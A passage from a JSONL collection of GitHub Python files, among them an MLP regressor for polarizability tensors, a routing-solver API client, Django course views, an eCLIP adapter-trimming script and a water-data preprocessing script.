input file name for csv file.\n :return: dataframe.\n \"\"\"\n data = pd.read_csv(filename)\n data = data.drop(columns='Unnamed: 0') # Removing index array from dataframe.\n\n if drop_extra_cols:\n data = data.drop(columns='N0')\n data = data.drop(columns='tensor_coeffs')\n self.raw_data = data\n return data\n\n def preprocess_data(self):\n \"\"\"\n For each component in self.raw_data, set mean to 0 and standard deviation to 1.\n :return: data\n \"\"\"\n data = pd.DataFrame(index=self.raw_data.index)\n scaling_dict = {}\n col_names = [col for col in self.raw_data.columns]\n for component in col_names:\n values = self.raw_data[component].to_numpy()[:, None]\n if component == 'omega':\n values = np.log10(values)\n if component != 'split':\n scalar = pp.StandardScaler()\n values = scalar.fit_transform(values)\n scaling_dict[component] = scalar\n data.insert(0, component, values, allow_duplicates=True)\n\n self.data = data\n self.scaling_dict = scaling_dict\n return scaling_dict, data\n\n def postprocess_data(self):\n \"\"\"\n Function to undo the normalistion performed in preprocess_data.\n :return:\n \"\"\"\n\n descaled_data = pd.DataFrame(index=self.data.index)\n col_names = [col for col in self.raw_data.columns]\n for component in col_names:\n values = self.data[component].to_numpy()[:, None]\n if component != 'split':\n scalar = self.scaling_dict[component]\n values = scalar.inverse_transform(values)\n descaled_data.insert(0, component, values, allow_duplicates=True)\n self.data = descaled_data\n\n return descaled_data\n\n def train_test_split(self, proportion: float):\n \"\"\"\n Splits total data into training and testing sets and assigns flags to dataframe\n :param proportion: proportion of total data to be used for testing. 0 < float < 1\n :return:\n \"\"\"\n if self.data is None: # Allowing for split to be performed before preprocessing\n total_samples = self.raw_data.shape[0]\n else:\n total_samples = self.data.shape[0]\n N_test_samples = int(np.floor(total_samples * proportion))\n test_indices = np.random.randint(0,\n high=total_samples + 1, # randint goes from low(inclusive) to high(exclusive)\n size=N_test_samples)\n\n flags = ['training'] * total_samples\n flags = ['testing' if ind in test_indices else 'training' for ind in range(total_samples)]\n if self.data is None:\n self.raw_data.insert(0, 'split', flags, allow_duplicates=True)\n else:\n self.data.insert(0, 'split', flags, allow_duplicates=True)\n\n def plot_data(self, x='omega', y='mur', z=None, use_raw_data=False, fig=None):\n \"\"\"\n plotting function for data exploration.\n Plots x against y. If z != None, plots in 3d.\n :param x: x component\n :param y: y component\n :param z: z component\n :return:\n \"\"\"\n # sns.set()\n # sns.set_style(\"ticks\")\n\n if use_raw_data == True:\n plot_data = self.raw_data\n plot_data['omega'] = np.log10(plot_data['omega'])\n else:\n plot_data = self.data\n if fig == None:\n fig = plt.figure()\n else:\n fig = plt.figure(fig)\n if z is None:\n sns.scatterplot(data=plot_data, x=x, y=y, hue='split', palette=['b', 'g'])\n else:\n\n plot_data.query('omega<=5 and mur<=50', inplace=True)\n ax = plt.axes(projection='3d')\n s = plot_data['split']\n ax.scatter(plot_data[x][s == 'training'], np.log10(plot_data[y][s == 'training']), plot_data[z][s == 'training'],\n color='r', label='training')\n ax.scatter(plot_data[x][s != 'training'], np.log10(plot_data[y][s != 'training']), plot_data[z][s != 'training'],\n color='m', label='testing')\n ax.legend()\n ax.set_xlabel(x)\n ax.set_ylabel(y)\n ax.set_zlabel(z)\n\n return fig\n\nclass ML():\n\n def __init__(self, DataLoader, component):\n self.data = DataLoader.data\n self.scaled_data = DataLoader.data\n self.scaling_dict = DataLoader.scaling_dict\n self.component = component\n\n def perform_fit(self, neurons, activation='tanh', tol=1e-8, alpha=0):\n split = self.data['split']\n x = self.data[['omega', 'mur']][split == 'training'].to_numpy()\n y = np.ravel(self.data[self.component][split == 'training'].to_numpy())\n\n regressor = nn.MLPRegressor(hidden_layer_sizes=neurons, max_iter=500000, activation=activation,\n solver='lbfgs', tol=tol, alpha=alpha, verbose=False, warm_start=False,\n random_state=None, n_iter_no_change=1000, max_fun=100000)\n\n regression = regressor.fit(x, y)\n self.regression = regression\n return regression\n\n def postprocess_data(self):\n \"\"\"\n Function to undo the normalistion performed in preprocess_data.\n :return:\n \"\"\"\n # self.scaled_data = self.data\n descaled_data = pd.DataFrame(index=self.data.index)\n col_names = [col for col in self.data.columns]\n for component in col_names:\n values = self.data[component].to_numpy()[:, None]\n if component != 'split':\n scalar = self.scaling_dict[component]\n values = scalar.inverse_transform(values)\n descaled_data.insert(0, component, values, allow_duplicates=True)\n self.data = descaled_data\n\n return descaled_data\n\n def eval_fit(self):\n split = self.data['split']\n x = self.scaled_data[['omega', 'mur']][split == 'testing'].to_numpy()\n y_true = np.ravel(self.data[self.component][split == 'testing'].to_numpy())\n y_pred = self.regression.predict(x)\n y_pred = self.scaling_dict[self.component].inverse_transform(y_pred)\n\n MSE = np.sum((y_pred - y_true) ** 2) / len(y_true)\n RMSE = np.sqrt(MSE)\n NRMSE = RMSE / (np.sqrt(np.sum(y_true ** 2) / len(y_true)))\n\n return NRMSE\n\n def make_prediction(self, omega, mur):\n \"\"\"\n Function to make final prediction given query values of omega and mur\n :param omega:\n :param mur:\n :param component:\n :return:\n \"\"\"\n\n omega = self.scaling_dict['omega'].transform(omega[:,None])\n mur = self.scaling_dict['mur'].transform(mur[:,None])\n x = np.squeeze(np.asarray([omega, mur]).transpose())\n y = self.regression.predict(x)\n y = self.scaling_dict[self.component].inverse_transform(y)\n return y\n\n def generate_surface(self, omega_array, mur_array, fig=None):\n omega_array = np.log10(omega_array)\n xx, yy = np.meshgrid(omega_array, mur_array)\n x = np.ravel(xx)\n y = np.ravel(yy)\n z = self.make_prediction(x,y)\n zz = np.reshape(z, xx.shape)\n return fig, zz\n if fig == None:\n fig = plt.figure()\n ax = plt.axes(projection='3d')\n else:\n plt.figure(fig)\n ax = fig.axes[0]\n ax.ticklabel_format(style='sci', axis='z')\n ax.plot_wireframe(xx, np.log10(yy), zz, alpha=1, label='ML prediction')\n plt.legend()\n\n return fig, zz\n\n def save_all_figures(path, format='png', suffix='', prefix=''):\n \"\"\"\n Function to save all open figures to disk.\n Files are named as:\n {suffix}{figure_n}{prefix}.{format}\n :param path: path to the desired saving directory.\n :param format: desired file format. pdf, png, jpg, tex\n :param suffix: additional component of the output filename\n :param prefix: additional component of the output filename\n :return:\n \"\"\"\n\n if not os.path.isdir(path):\n os.mkdir(path)\n extension = '.' + format\n if format != 'tex':\n for i in plt.get_fignums():\n plt.figure(i)\n filename = prefix + f'figure_{i}' + suffix\n plt.savefig(os.path.join(path, filename) + extension)\n elif format == 'tex':\n for i in plt.get_fignums():\n plt.figure(i)\n filename = prefix + f'figure_{i}' + suffix\n tikzplotlib.save(os.path.join(path, filename) + extension)\n else:\n raise TypeError('Unrecognised file format')\n\n\ndef calc_eddy_current_limit(frequency_array, permeability_array, sigma, alpha):\n \"\"\"\n James Elgy - 2022:\n function to calculate when the wavelength is smaller than the object size. This is then returned as an\n upper limit on the eddy current approximation.\n :return:\n \"\"\"\n\n c = 299792458 # Speed of light m/s\n\n # wavelength of EM radiation. Assumes conductivity of 0 and relative permittivity of 1. c/(n *f) = lambda\n # converts rad/s to Hz.\n limit_frequency = []\n for mur in permeability_array:\n epsilon = 8.854e-12\n mu = mur * 4 * np.pi * 1e-7\n k = np.sqrt(frequency_array**2 * epsilon * mu + 1j * mu * sigma * frequency_array)\n wavelength = 2*np.pi/k.real\n fudge_factor = 1 # alpha uses a global scaling but the geo file may not define a unit object.\n # wavelength = c / (np.sqrt(1*mur) * (self.frequency_array/(2*np.pi)))\n for lam, freq in zip(wavelength, frequency_array):\n if lam <= alpha*fudge_factor:\n max_frequency = freq\n break\n else:\n max_frequency = np.nan\n limit_frequency += [max_frequency]\n\n return limit_frequency\n\n\nif __name__ == '__main__':\n\n # sns.set()\n # sns.set_style(\"ticks\")\n\n comp_array = ['eig_1_real']#, 'eig_2_real', 'eig_3_real', 'eig_1_imag', 'eig_2_imag', 'eig_3_imag']\n for q in range(1): # Using range here because I need to index the list of names, c.\n component = comp_array[q]\n c = ['$re(\\lambda_1)$', '$re(\\lambda_2)$', '$re(\\lambda_3)$', '$im(\\lambda_1)$', '$im(\\lambda_2)$','$im(\\lambda_3)$']\n s = []\n for I in range(1):\n D = DataLoader()\n data = D.load_data(\n r'C:\\Users\\James\\Desktop\\MPT_calculator_James\\OutputData\\hammer_omega_1.00-5.00_mur_0.00-1.70_sigma_1.70e+06_alpha_0.001_len_324_2022-07-31.csv')\n D.train_test_split(0.2)\n scaling, data = D.preprocess_data()\n\n\n ml = ML(D, component)\n ml.perform_fit((8,8))\n ml.postprocess_data()\n score = ml.eval_fit()\n print(score)\n s += [score]\n\n plt.hist(s, bins=20, label=f'component={c[q]}', alpha=0.4)\n plt.xlim(left=-0.0005, right=0.2)\n plt.ylim(bottom=0, top=300)\n plt.ylabel('Frequency')\n plt.xlabel('NRMSE')\n\n f = D.plot_data(x='omega', y='mur', z=component, use_raw_data=True)\n omega_array = np.logspace(1,5,36)\n mur_array = np.logspace(0,np.log10(50),36)\n z = ml.generate_surface(omega_array, mur_array, fig=f)\n\n\n ax = plt.gca()\n import matplotlib.ticker as mticker\n def log_tick_formatter(val, pos=None):\n if val == 0:\n return '$10^0$'\n else:\n return f\"$10^{val:.0f}$\"\n\n startx, endx = ax.get_xlim()\n starty, endy = ax.get_ylim()\n ax.xaxis.set_ticks(np.round(np.arange(startx, endx, 1)))\n ax.yaxis.set_ticks(np.round(np.arange(starty, endy, 1)))\n ax.xaxis.set_major_formatter(mticker.FuncFormatter(log_tick_formatter))\n ax.yaxis.set_major_formatter(mticker.FuncFormatter(log_tick_formatter))\n\n # max_omega = calc_eddy_current_limit(np.logspace(1,5,41), np.logspace(0,np.log10(50),41), 1e6, 1e-2)\n\n z_max = ax.get_zlim()[1]\n z_min = ax.get_zlim()[0]\n\n yy, zz = np.meshgrid(np.log10(mur_array), np.linspace(z_min, z_max, 50))\n xx = np.ones(yy.shape)\n\n # for ind, omega in enumerate(max_omega):\n # xx[:, ind] = np.log10(omega)\n\n # surf = ax.plot_surface(xx, yy, zz, color='m', alpha=0.4, linewidth=0, label='Eddy current limit')\n # surf._facecolors2d = surf._facecolor3d\n # surf._edgecolors2d = surf._edgecolor3d\n plt.legend()\n","repo_name":"MPT-Calculator/MPT-Calculator","sub_path":"Functions/ML_MPT_Predictor.py","file_name":"ML_MPT_Predictor.py","file_ext":"py","file_size_in_byte":13219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"40500694964","text":"import time\n\nfrom tsm.common.app import exception\n\nimport requests\nimport json\nfrom requests.packages.urllib3.util.retry import Retry\nfrom requests.adapters import HTTPAdapter\n\nKANGROUTER_WEBSERVICE_APPLICATION_ROOT=\"/kangrouter/srv/v1\"\n\nclass KangRouterClient:\n pathbase = \"https://thesolvingmachine.com/kangrouter/srv/v1/solvers\"\n def __init__(self,apiKey,licenseId): \n self.headers = {\"content-type\": \"application/json\",\n \"Authorization\": apiKey}\n self.params = {\"licenseId\" : licenseId }\n retries = Retry(total=5,\n backoff_factor=0.75)\n self.session = requests.Session()\n self.session.mount(KANGROUTER_WEBSERVICE_APPLICATION_ROOT, \n HTTPAdapter(max_retries=retries))\n\n def validateReply(self,req):\n if req.status_code >= 400 and req.status_code <= 500:\n try:\n j = req.json()\n except ValueError:\n raise exception.InternalError(req.text,req.status_code)\n raise exception.jsonToException(req.json())\n\n def create(self,problem,**kwargs):\n path = self.pathbase\n payload=json.dumps(problem)\n params = self.params.copy()\n params.update(kwargs)\n req = self.session.post(path,\n params=params, \n headers=self.headers,\n data=payload) \n self.validateReply(req)\n return req.text\n \n def delete(self,solverId):\n path = \"{base}/{solverId}\".format(base=self.pathbase,\n solverId=str(solverId))\n req = self.session.delete(path,\n params=self.params,\n headers=self.headers)\n self.validateReply(req)\n return True\n \n def stop(self,solverId):\n path = \"{base}/{solverId}/stop\".format(base=self.pathbase,\n solverId=str(solverId))\n req = self.session.put(path,\n params=self.params,\n headers=self.headers)\n self.validateReply(req)\n return True\n \n def getStatus(self,solverId):\n path = \"{base}/{solverId}/status\".format(base=self.pathbase,\n solverId=str(solverId))\n req = self.session.get(path,\n params=self.params,\n headers=self.headers)\n self.validateReply(req)\n return req.json()\n\n def getSolution(self,solverId):\n path = \"{base}/{solverId}/solution\".format(base=self.pathbase,\n solverId=str(solverId))\n req = self.session.get(path,\n params=self.params,\n headers=self.headers)\n self.validateReply(req)\n return req.json()\n \n # polling \n def createAndWait(self,problem,cancel,**kwargs):\n solverId = self.create(problem,**kwargs)\n timeout = 300\n while not cancel() and timeout>0:\n status = self.getStatus(solverId)\n if status[\"execStatus\"] ==\"invalid\":\n raise exception.solverError(json.dumps(status[\"errors\"]))\n if status[\"execStatus\"] ==\"completed\":\n return self.getSolution(solverId)\n time.sleep(1)\n timeout -= 1\n if timeout == 0:\n raise exception.InternalError(\"Timed out waiting for solver\")\n raise exception.UserCancelled()\n \n\n \n","repo_name":"TheSolvingMachine/kangrouter-py","sub_path":"kangrouter.py","file_name":"kangrouter.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"19197347562","text":"__version__ = \"$Id$\"\n\n# WMP Export Sample\n# export a simple scene to wmv\n\nimport wmwriter\n\n# wmriter configuartion profile\nprofile = 20\n\n###########################################\n\ndef LoadImageOn(dds, filename):\n import gear32sd\n img = gear32sd.load_file(filename)\n if img>=0:\n cx, cy, bpp = gear32sd.image_dimensions_get(img)\n hdc = dds.GetDC()\n x, y = (w-cx)/2, (h-cy)/2\n rc = x, y, x+cx, y+cy\n gear32sd.device_rect_set(img, rc)\n gear32sd.display_desktop_pattern_set(img,0)\n gear32sd.display_image(img, hdc)\n dds.ReleaseDC(hdc)\n gear32sd.image_delete(img)\n\n\n\n###########################################\n\n# viewport dimensions\nw = 400\nh = 300\n\n\n###########################################\nimport ddraw\n\n# create direct draw stuff\nddrawobj = ddraw.CreateDirectDraw()\n\n# we need a window here, so use desktop\nimport win32ui\nSdk = win32ui.GetWin32Sdk()\nddrawobj.SetCooperativeLevel(Sdk.GetDesktopWindow().GetSafeHwnd(), ddraw.DDSCL_NORMAL)\n\n# create our dd surface\nddsd = ddraw.CreateDDSURFACEDESC()\nddsd.SetFlags(ddraw.DDSD_WIDTH | ddraw.DDSD_HEIGHT | ddraw.DDSD_CAPS)\nddsd.SetCaps(ddraw.DDSCAPS_OFFSCREENPLAIN)\nddsd.SetSize(w,h)\ndds = ddrawobj.CreateSurface(ddsd)\npxlfmt = dds.GetPixelFormat()\n\nddcolor = dds.GetColorMatch((0,0,255))\ndds.BltFill((0, 0, w, h), ddcolor)\n\nfilename1 = r'D:\\ufs\\mmdocuments\\interop2\\interop2\\images\\frown.jpg'\nfilename2 = r'D:\\ufs\\mmdocuments\\interop2\\interop2\\images\\smile.jpg'\n\n###########################################\n# record manually coded presentation\n\n# create writer\nwriter = wmwriter.WMWriter(dds, profile)\nwriter.setOutputFilename(\"grins.wmv\")\n\n# start wmv creation\nwriter.beginWriting()\n\nLoadImageOn(dds, filename2)\nwriter.update(3)\n\nLoadImageOn(dds, filename1)\nwriter.update(8)\n\n# blank screen\ndds.BltFill((0, 0, w, h), 0)\nwriter.update(13)\nwriter.update(13.1)\n\n# finally:\nwriter.endWriting()\n\ndel writer\n\n###########################################\n","repo_name":"cwi-dis/grins","sub_path":"mm/win32/wmsdk/wmfsdk/src/wmvcap.py","file_name":"wmvcap.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"14888591640","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom coder.models import Curso, Estudiante, Profesor, Entregable\nfrom coder.forms import CursoFormulario, ProfesorFormulario\n# Create your views here.\n\n\n\ndef inicio(request):\n contexto = {\n \"mensaje\":\"La comisión 40150 es la mejor!\",\n \"mensaje_bienvenida\":\"Bienvenid@s!\"\n }\n\n return render(request, \"coder/index.html\", contexto)\n\ndef estudiante(request):\n return HttpResponse(\"Vista de estudiante\")\n\ndef profesor(request):\n profesor = Profesor(nombre= \"Leonel\", apellido=\"Gareis\", email=\"example@example.com\", profesion=\"Cloud Developer\")\n profesor.save()\n\n return HttpResponse(\"Profesor agregado\")\n\ndef entregable(request):\n return HttpResponse(\"Vista de entregable\")\n\ndef cursos(request):\n\n cursos = Curso.objects.all()\n\n contexto = {\n \"mensaje\":\"Todos nuestros cursos al mejor precio!\",\n \"mensaje_bienvenida\":\"Bienvenid@s!\",\n \"cursos\":cursos\n }\n\n return render(request, \"coder/cursos.html\", contexto)\n\n\ndef crear_curso(request):\n\n if request.method == \"GET\":\n formulario = CursoFormulario()\n return render(request, \"coder/formulario.html\", {\"formulario\":formulario})\n else:\n\n formulario = CursoFormulario(request.POST)\n\n if formulario.is_valid():\n\n data = formulario.cleaned_data\n\n nombre = data.get(\"nombre\")\n camada = data.get(\"camada\")\n curso = Curso(nombre=nombre, camada=camada)\n\n curso.save()\n\n return render(request, \"coder/index.html\")\n \n else:\n return HttpResponse(\"Formulario no valido\")\n\ndef crear_profesor(request):\n\n if request.method == \"GET\":\n formulario = ProfesorFormulario()\n return render(request, \"coder/formulario.html\", {\"formulario\":formulario})\n else:\n\n formulario = ProfesorFormulario(request.POST)\n\n if formulario.is_valid():\n\n data = formulario.cleaned_data\n\n nombre = data.get(\"nombre\")\n apellido = data.get(\"apellido\")\n email = data.get(\"email\")\n profesion = data.get(\"profesion\")\n profesor = Profesor(nombre=nombre, apellido=apellido, email=email, profesion=profesion)\n\n profesor.save()\n\n return render(request, \"coder/index.html\")\n \n else:\n return HttpResponse(\"Formulario no valido\")\n\ndef formulario_busqueda(request):\n return render(request, \"coder/formulario_busqueda.html\")\n\ndef buscar(request):\n\n curso_nombre = request.GET.get(\"curso\", None)\n\n if not curso_nombre:\n return HttpResponse(\"No indicaste ningun nombre\")\n\n cursos_lista = Curso.objects.filter(nombre__icontains=curso_nombre)\n return render(request, \"coder/resultado_busqueda.html\", {\"cursos\": cursos_lista})\n","repo_name":"nachoboya/proyecto_coder","sub_path":"src/coder/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73844224787","text":"#!/usr/bin/python\n# programmer : bbc\n# usage: trim adapters as well as randomers\n\nimport sys\nimport re\nimport pandas as pd\nimport subprocess\nfrom Bio.SeqIO.QualityIO import FastqGeneralIterator\nfrom multiprocessing import Pool\nimport argparse as ap\nimport logging\n\nlogging.basicConfig(level=10)\n\n\ndef prepare_argparser():\n description = \"Trim adapter and/or randomers for eclip\"\n epilog = \"For command line options of each command, type %(prog)% COMMAND -h\"\n argparser = ap.ArgumentParser(description=description, epilog = epilog)\n group = argparser.add_mutually_exclusive_group(required=True)\n group.add_argument(\"-i\",\"--input\",dest = \"infile\",type=str, help=\"input fastq file. For pair-end, use comma to separate R1 and R2\")\n group.add_argument(\"-d\",\"--design\",dest = \"dfile\",type=str, help=\"design file\")\n argparser.add_argument(\"-o\",\"--output\",dest = \"outprefix\",type=str, help=\"output prefix for single input. For design file, use sample name to generate output file names\")\n argparser.add_argument(\"--pe\",dest=\"pe\", default=False, action=\"store_true\", help = \"Set if input are pair-end\")\n argparser.add_argument(\"--ops\",dest=\"ops\",type=str,default=\"all\", choices=[\"cutadapter\",\"rmbarcode\",\"all\"])\n argparser.add_argument(\"--barcode-len\",dest=\"barcodelen\",type=int,default=10,help = \"Barcode/randomer length\")\n return(argparser)\n\ndef run_cutadapter(f, out, pe):\n logging.info(\"Running cutadapt\")\n if pe:\n f1,f2 = f.rstrip().split(\",\")\n out1 = out+\"_R1_cutadapt.fastq\"\n out2 = out+\"_R2_cutadapt.fastq\"\n metric = out+\"_cutadapt.metric\"\n command = \" \".join([\"sh cutadapt_skeleton_pe.sh\",f1, f2, out1, out2, metric])\n else:\n out1 = out+\"_R2_cutadapt.fastq\"\n out2 = \"\"\n metric = out+\"_cutadapt.metric\"\n command = \" \".join([\"sh cutadapt_skeleton_se.sh\",f.rstrip(), out1, metric])\n logging.info(command)\n p = subprocess.Popen(command, shell=True)\n p.communicate()\n logging.info(\"Cutadapter finished\")\n return \",\".join([out1,out2]).rstrip(\",\")\n\ndef run_cutadapter_wrapper(args):\n run_cutadapter(*args)\n\ndef run_rmbarcode(f,out,blen,pe):\n if pe:\n f1,f2 = f.rstrip().split(\",\")\n input_file = f2\n else:\n input_file = f.rstrip()\n fq_out = open(out+\"_rmbarcode.fastq\",\"w\")\n bc_out = open(out+\"_barcode.txt\",\"w\")\n for title, seq, qual in FastqGeneralIterator(open(input_file)):\n print >> fq_out, \"@\"+str(title)\n print >> fq_out, seq[blen:]\n print >> fq_out, \"+\"\n print >> fq_out, qual[blen:]\n print >> bc_out, \"\\t\".join([str(title),seq[0:blen]])\n fq_out.close()\n bc_out.close()\n\ndef run_rmbarcode_wrapper(args):\n run_rmbarcode(*args)\n\ndef run_trim(f, op, out, pe, blen, mode):\n infile = f\n if mode==\"single\":\n if op in ['cutadapter','all']:\n infile = run_cutadapter(infile, out, pe)\n if op in ['rmbarcode','all']:\n run_rmbarcode(infile, out,blen,pe)\n elif mode == \"multiple\":#parse design file here\n design = pd.read_table(f.rstrip())\n if op in ['cutadapter','all']:\n cutadapter_arglist_treat = zip(design['treat_fastq'].tolist(),design['sampleName'].tolist(),[pe]*design.shape[0])\n cutadapter_arglist_ctrl = zip(design['ctrl_fastq'].tolist(),design['sampleName'].tolist(),[pe]*design.shape[0])\n cutadapter_arglist = cutadapter_arglist_treat + cutadapter_arglist_ctrl\n work_pool = Pool(min(12,design.shape[0]))\n resultlist = work_pool.map(run_cutadapter_wrapper, cutadapter_arglist)\n #modify design file separately since resultlist won't maintain order\n design['treat_align_r1'] = design['sampleName'].str.cat([\"R1_cutadapt_treat.fastq\"]*design.shape[0],sep=\"_\")\n design['treat_cutadapt_metric'] = design['sampleName'].str.cat([\"cutadapt_treat.metric\"]*design.shape[0],sep=\"_\")\n design['ctrl_align_r1'] = design['sampleName'].str.cat([\"R1_cutadapt_ctrl.fastq\"]*design.shape[0],sep=\"_\")\n design['ctrl_cutadapt_metric'] = design['sampleName'].str.cat([\"cutadapt_ctrl.metric\"]*design.shape[0],sep=\"_\")\n if op==\"all\":\n design['treat_rmbc_input'] = design['sampleName'].str.cat([\"R2_cutadapt_treat.fastq\"]*design.shape[0],sep=\"_\")\n design['ctrl_rmbc_input'] = design['sampleName'].str.cat([\"R2_cutadapt_ctrl.fastq\"]*design.shape[0],sep=\"_\")\n elif op==\"cutadapt\":#for alignment directly\n design['treat_align_r1'] = design['sampleName'].str.cat([\"R2_cutadapt_treat.fastq\"]*design.shape[0],sep=\"_\")\n design['ctrl_align_r1'] = design['sampleName'].str.cat([\"R2_cutadapt_ctrl.fastq\"]*design.shape[0],sep=\"_\")\n\n if op in ['rmbarcode','all']:\n if op == \"all\":\n rmbarcode_arglist_treat = zip(design['treat_rmbc_input'].tolist(),design['sampleName'].tolist(), [blen]*design.shape[0], [pe]*design.shape[0])\n rmbarcode_arglist_ctrl = zip(design['ctrl_rmbc_input'].tolist(),design['sampleName'].tolist(), [blen]*design.shape[0], [pe]*design.shape[0])\n else:\n rmbarcode_arglist_treat = zip(design['treat_fastq'].tolist(),design['sampleName'].tolist(), [blen]*design.shape[0], [pe]*design.shape[0])\n rmbarcode_arglist_ctrl = zip(design['ctrl_fastq'].tolist(),design['sampleName'].tolist(), [blen]*design.shape[0], [pe]*design.shape[0])\n rmbarcode_arglist = rmbarcode_arglist_treat + rmbarcode_arglist_ctrl\n work_pool = Pool(min(12,design.shape[0]))\n work_pool.map(run_rmbarcode_wrapper, rmbarcode_arglist)\n design['treat_align_r2'] = design['sampleName'].str.cat([\"rmbarcode_treat.fastq\"]*design.shape[0],sep=\"_\")\n design['treat_ctrl_r2'] = design['sampleName'].str.cat([\"rmbarcode_ctrl.fastq\"]*design.shape[0],sep=\"_\")\n design['treat_barcode_txt'] = design['sampleName'].str.cat([\"barcode_treat.txt\"]*design.shape[0],sep=\"_\")\n design['ctrl_barcode_txt'] = design['sampleName'].str.cat([\"barcode_ctrl.txt\"]*design.shape[0],sep=\"_\")\n if pe:\n design['treat_align_input'] = design['treat_align_r1'].str.cat(design['treat_align_r2'],sep=\",\")\n design['ctrl_align_input'] = design['ctrl_align_r1'].str.cat(design['ctrl_align_r2'],sep=\",\")\n else:\n design['treat_align_input'] = design['treat_align_r2']\n design['ctrl_align_input'] = design['ctrl_align_r2']\n design.drop(['treat_align_r1','treat_align_r2','ctrl_align_r1','ctrl_align_r2'], axis=1, inplace=True)\n return design\n\ndef main():\n argparser = prepare_argparser()\n args = argparser.parse_args()\n\n if args.infile:\n run_trim(args.infile, args.ops, args.outprefix, args.pe, args.barcodelen,\"single\")\n elif args.dfile:\n newdesign = run_trim(args.dfile, args.ops, None, args.pe, args.barcodelen, \"multiple\")\n newdesign.to_csv(args.dfile+\".trimDesign\",sep=\"\\t\",index=False)\n\nif __name__==\"__main__\":\n main()\n","repo_name":"bchen4/pipeclip2","sub_path":"pipeclip/trim.py","file_name":"trim.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30075279851","text":"from flask import Flask\r\nfrom os import system\r\nimport routes\r\n\r\napp = Flask(__name__,\r\n static_folder='public',\r\n template_folder='templates')\r\n\r\nroutes.register_routes(app)\r\n\r\nif __name__ == '__main__':\r\n system(f\"title Minecraft Classic Backend\")\r\n app.run(host=\"0.0.0.0\", port=80)\r\n","repo_name":"Liathers/Minecraft-Classic-Backend","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21540738377","text":"'''\n编写人:朱斌\n工号:zd2228\n部门:ICT/研发二部\n'''\nimport pytest\nimport yaml\nfrom Common.Request import req\nfrom Config import global_conf as conf\ndef get_yaml():\n with open(conf.casePath_login, encoding='utf-8') as f:\n val = yaml.load(f,Loader=yaml.FullLoader)\n return val\n\nclass Test_Login():\n @pytest.mark.parametrize('args',get_yaml())\n def test_login(self,args):\n url = args['requests']['api']\n data = args['requests']['data']\n method = args['requests']['method']\n res = req.send_request(url=url,method=method,data=data)\n print(res[0])\n token = {\n \"Access_Token\": res[0]['data']['token']\n }\n ##将获取的token写入yaml,供后续使用\n with open(conf.casePath_token, mode='w', encoding='utf-8') as f:\n yaml.dump(token, stream=f, allow_unicode=True)\n\n\n\n\n\n\n\n\n\n\n","repo_name":"riven0818/zed","sub_path":"TestCase/Login/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5762651053","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport os\nimport pickle\nimport pandas as pd\n\n\ndef read_file(path, item, time):\n temp = pd.read_csv(path + '/' + item + '_' + time + '.csv', encoding = 'utf-8', parse_dates=True)\n print(\"Reading \" + item + \"_\" + time + \".csv ...\")\n print(\"Loaded \" + str(len(temp)) + \" lines of data.\")\n # data = pd.DataFrame({columns_name:[] for columns_name in temp.columns.values.tolist()})\n return temp\n\n\ndef merge_file(path, out, itemlist, timelist):\n# namelist = [[item + time for time in timelist] for item in itemlist]\n df_wq = pd.concat([read_file(path, itemlist[1], time) for time in timelist], ignore_index = True)\n df_cu = pd.concat([read_file(path, itemlist[2], time) for time in timelist], ignore_index = True)\n df_wi = pd.concat([read_file(path, itemlist[0], time) for time in timelist], ignore_index = True)\n df_wq.to_csv(out+\"/water.csv\", sep=',', encoding = \"utf-8\")\n pickle.dump(df_wq, open(out+\"/water.tkb\", mode = \"wb\"), protocol = True)\n df_cu.to_csv(out+\"/currt.csv\", sep=',', encoding = \"utf-8\")\n pickle.dump(df_cu, open(out+\"/currt.tkb\", mode = \"wb\"), protocol = True)\n df_wi.to_csv(out+\"/winds.csv\", sep=',', encoding = \"utf-8\")\n pickle.dump(df_wi, open(out+\"/winds.tkb\", mode = \"wb\"), protocol = True)\n print(\"water.tkb(\" + str(len(df_wq)) + \" lines), currt.tkb(\" + str(len(df_cu)) + \" lines) and winds.tkb(\" + str(len(df_wi)) + \" lines) have been exported.\")\n # return df_wq, df_cu, df_wi\n\nif __name__ == '__main__':\n # 定义文件位置\n path = \"../data/monitoring_post/downloads\";\n out = \"../data/monitoring_post/preprocess\";\n # 获取文件列表\n filelist = os.listdir(path)\n # 获取数据种类\n itemlist = sorted(set([i[0:-22] for i in filelist]), reverse = True)\n # 获取时间区间\n timelist = sorted(set([i[-21:-4] for i in filelist]), reverse = False)\n # 获取时间端点\n f_period = [int(timelist[0][0:8]), int(timelist[-1][9:18])]\n # 合并数据\n merge_file(path, out, itemlist, timelist)\n \n # 2014年到2017年数据提取到文件夹“case”\n timelist1 = ['20140101_20140228','20140301_20140430','20140501_20140630',\\\n '20140701_20140831','20140901_20141031','20141101_20141231',\\\n '20150101_20150228','20150301_20150430','20150501_20150630',\\\n '20150701_20150831','20150901_20151031','20151101_20151231',\\\n '20160101_20160229','20160301_20160430','20160501_20160630',\\\n '20160701_20160831','20160901_20161031','20161101_20161231',\\\n '20170101_20170228','20170301_20170430','20170501_20170630',\\\n '20170701_20170831','20170901_20171031','20171101_20171231',\n '20180101_20180228'];\n out1 = \"../data/monitoring_post/case_2014_2017\";\n merge_file(path, out1, itemlist, timelist1);\n","repo_name":"dlxiii/water","sub_path":"scr/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70942579345","text":"# Definition for 